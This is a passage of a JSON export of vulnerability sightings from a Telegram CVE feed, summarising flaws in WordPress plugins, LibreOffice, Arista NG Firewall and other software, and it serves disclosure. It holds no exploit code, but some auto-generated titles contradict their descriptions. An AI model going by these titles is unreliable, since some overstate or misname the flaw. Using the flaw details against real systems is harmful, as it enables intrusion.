to, and including, 3.15.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:33.000000Z"}, {"uuid": "90ea6dc3-2de0-4504-8166-c30759b7f5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://t.me/cvedetector/14663", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12851 - Wordpress Element Pack Elementor Addons Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12851 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom_attributes parameter of the Cookie Consent Widget in all versions up to, and including, 5.10.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:32.000000Z"}, {"uuid": "58c77a3d-7c18-4767-8c64-dc5262d362c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://t.me/cvedetector/14652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12521 - WordPress Slotti Ajanvaraus Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12521 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Slotti Ajanvaraus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slotti-embed-ga' shortcode in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:47:02.000000Z"}, {"uuid": "4c9d7823-403d-41d8-a14f-b8cdd1f6e65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://t.me/cvedetector/14654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12205 - \"Themesflat Addons for Elementor Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12205 \nPublished : Jan. 8, 2025, 5:15 a.m. | 21\u00a0minutes ago \nDescription : The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider Widget in all versions up to, and including, 2.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T06:37:08.000000Z"}, {"uuid": "2fa41074-2758-4049-af47-afd4aab9641f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://t.me/cvedetector/13942", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12835 - Delta Electronics DRASimuCAD ICS File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12835 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD ICS File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of ICS files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22415. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:37.000000Z"}, {"uuid": "e3632b16-4f1b-4b40-bdd1-7a756f93b0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://t.me/cvedetector/13497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12408 - \"Amazon Web Services (AWS) WordPress Reflected Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12408 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The WP on AWS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via $_POST data in all versions up to, and including, 5.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:18.000000Z"}, {"uuid": "dce1a682-6ac7-41c6-bf6f-64140cbdfd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://t.me/cvedetector/13496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12558 - WordPress WP BASE Booking Unauthenticated Database Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12558 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_db function in all versions up to, and including, 4.9.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive information from the database, such as the hashed administrator password. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:18.000000Z"}, {"uuid": "a39b2042-ebf7-4ee6-a0f3-a44a43a61f0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/cvedetector/14586", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12429 - AC500 V3 File Access Unauthorized Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12429 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : An attacker who successfully exploited these vulnerabilities could grant read access to files.\u00a0A vulnerability exists in the AC500 V3 version mentioned. A\u00a0successfully   \nauthenticated attacker can use this vulnerability to read system wide files and configuration  \n  \n  \nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:14.000000Z"}, {"uuid": "9af135e4-de44-4caa-be01-26bd44d3faea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://t.me/cvedetector/13480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12262 - WordPress Ebook Store Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12262 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The Ebook Store plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'step' parameter in all versions up to, and including, 5.8001 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:35.000000Z"}, {"uuid": "4099bea7-5a12-4749-bdab-10db996069c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://t.me/cvedetector/13453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12841 - \"Able Admin Parsing Advisory\"\", \n  \"Content\": \"CVE ID : CVE-2024-12841 \nPublished : Dec. 20, 2024, 7:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been classified as problematic. This affects an unknown part of the file /admin/tag.php. The manipulation of the argument keyword leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T20:55:57.000000Z"}, {"uuid": "d4e67d2c-6dd2-418d-94ee-9a9cc58a5008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://t.me/cvedetector/14542", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12131 - WordPress WP Job Portal Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12131 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.5 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit resumes for other applicants when applying for jobs. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:45.000000Z"}, {"uuid": "11c325c7-a649-48d0-bcab-03d79099c06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/cvedetector/14538", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12426 - LibreOffice Environmental Variable Exfiltration\", \n  \"Content\": \"CVE ID : CVE-2024-12426 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : Exposure of Environmental Variables and arbitrary INI file values to an Unauthorized Actor vulnerability in The Document Foundation LibreOffice.  \n  \n  \n  \n  \nURLs could be constructed which expanded environmental variables or INI file values, so potentially sensitive information could be exfiltrated to a remote server on opening a document containing such links.  \n  \n  \nThis issue affects LibreOffice: from 24.8 before < 24.8.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:42.000000Z"}, {"uuid": "b20592d0-e939-4cf7-921f-8160aadab924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://t.me/cvedetector/14537", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12033 - Jupiter X Core WordPress Unauthenticated Remote Code Execution (RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-12033 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the sync_libraries() function in all versions up to, and including, 4.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to sync libraries \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:40.000000Z"}, {"uuid": "a54733e4-3e48-4c3a-84bc-fd7f27f188f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://t.me/cvedetector/13390", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12832 - Arista NG Firewall SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-12832 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall ReportEntry SQL Injection Arbitrary File Read and Write Vulnerability. This vulnerability allows remote attackers to create arbitrary files and disclose sensitive information on affected installations of Arista NG Firewall. Authentication is required to exploit this vulnerability.  \n  \nThe specific flaw exists within the ReportEntry class. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the www-data user. Was ZDI-CAN-24325. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:57.000000Z"}, {"uuid": "7ea00a2e-dde8-444c-98cb-9cd09d101e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://t.me/cvedetector/13389", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12831 - Arista NG Firewall uvm_login Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12831 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall uvm_login Incorrect Authorization Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Arista NG Firewall. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the uvm_login module. The issue results from incorrect authorization. An attacker can leverage this to escalate privileges to resources normally protected from the user. Was ZDI-CAN-24324. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:56.000000Z"}, {"uuid": "cfd89526-f90a-4708-afbc-5c232a823d92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://t.me/cvedetector/13388", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12830 - Arista NG Firewall Custom Handler Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12830 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall custom_handler Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Arista NG Firewall. Authentication is not required to exploit this vulnerability.  \n  \nThe specific flaw exists within the implementation of the custom_handler method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the www-data user. Was ZDI-CAN-24019. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:56.000000Z"}, {"uuid": "41bc5e09-3ae0-47e7-8f7f-6908d2e3bac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://t.me/cvedetector/13387", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12700 - Apache Web Server JSP Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12700 \nPublished : Dec. 19, 2024, 11:15 p.m. | 28\u00a0minutes ago \nDescription : There is an unrestricted file upload vulnerability where it is possible for an authenticated user (low privileged) to upload an jsp shell and execute code with the privileges of user running the web server. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T00:51:26.000000Z"}, {"uuid": "e89fd346-7a14-4492-9ca5-935f33262e89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/cvedetector/14533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12711 - \"WordPress RSVP and Event Management Plugin Authentication Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-12711 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX functions like bulk_delete_attendees() and bulk_delete_questions() in all versions up to, and including, 2.7.13. This makes it possible for unauthenticated attackers to delete questions and attendees and for authenticated users to update question menu orders. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:37.000000Z"}, {"uuid": "194e245e-dd6a-430b-90b9-b1d0796ca17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://t.me/cvedetector/14532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12532 - Elementor Addons for WordPress Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12532 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The BWD Elementor Addons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.18 in widgets/bwdeb-content-switcher.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:33.000000Z"}, {"uuid": "e7b0d0c7-197c-4e80-b0b7-8cc3b5ebbde3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/cvedetector/14531", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12425 - LibreOffice Path Traversal Font Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12425 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in The Document Foundation LibreOffice allows Absolute Path Traversal.  \n  \n  \n  \n  \nAn attacker can write to arbitrary locations, albeit suffixed with \".ttf\", by supplying a file in a format that supports embedded font files.  \n  \n  \nThis issue affects LibreOffice: from 24.8 before < 24.8.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:32.000000Z"}, {"uuid": "22254a0e-f3ed-4e85-bf9e-58c08d346937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://t.me/cvedetector/14530", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12316 - Jupiter X Core WordPress Unauthenticated Data Export Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12316 \nPublished : Jan. 7, 2025, 12:15 p.m. | 29\u00a0minutes ago \nDescription : The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_popup_action() function in all versions up to, and including, 4.8.5. This makes it possible for unauthenticated attackers to export popup templates. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T13:52:32.000000Z"}, {"uuid": "d8ca907c-0325-4918-84b7-05b08df8452e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://t.me/cvedetector/13503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12884 - Codezips E-Commerce Website SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12884 \nPublished : Dec. 21, 2024, 2:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability was found in Codezips E-Commerce Website 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /login.php. The manipulation of the argument email leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T16:10:00.000000Z"}, {"uuid": "740df5a9-02d9-4d10-ba84-293e3af2526f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://t.me/cvedetector/13502", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12883 - Code-projects Job Recruitment Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12883 \nPublished : Dec. 21, 2024, 1:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /_email.php. The manipulation of the argument email leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T15:19:54.000000Z"}, {"uuid": "b106e78d-bc72-4a7a-8415-f48e1f29913c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://t.me/cvedetector/13501", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12875 - Easy Digital Downloads WordPress Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12875 \nPublished : Dec. 21, 2024, 12:15 p.m. | 15\u00a0minutes ago \nDescription : The Easy Digital Downloads \u2013 eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.2 via the file download functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T13:39:42.000000Z"}, {"uuid": "958b84d2-3d43-44a7-af02-7162a1da26bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://t.me/cvedetector/13346", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12788 - Codezips Technical Discussion Forum SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12788 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in Codezips Technical Discussion Forum 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file signinpost.php. The manipulation of the argument username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:01.000000Z"}, {"uuid": "af98ff91-2d10-474f-ba0c-0057e0fb687d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://t.me/cvedetector/13345", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12801 - QOS.CH SaxEventRecorder SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12801 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to   \nforge requests by compromising logback configuration files in XML.  \n  \n  \n  \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": 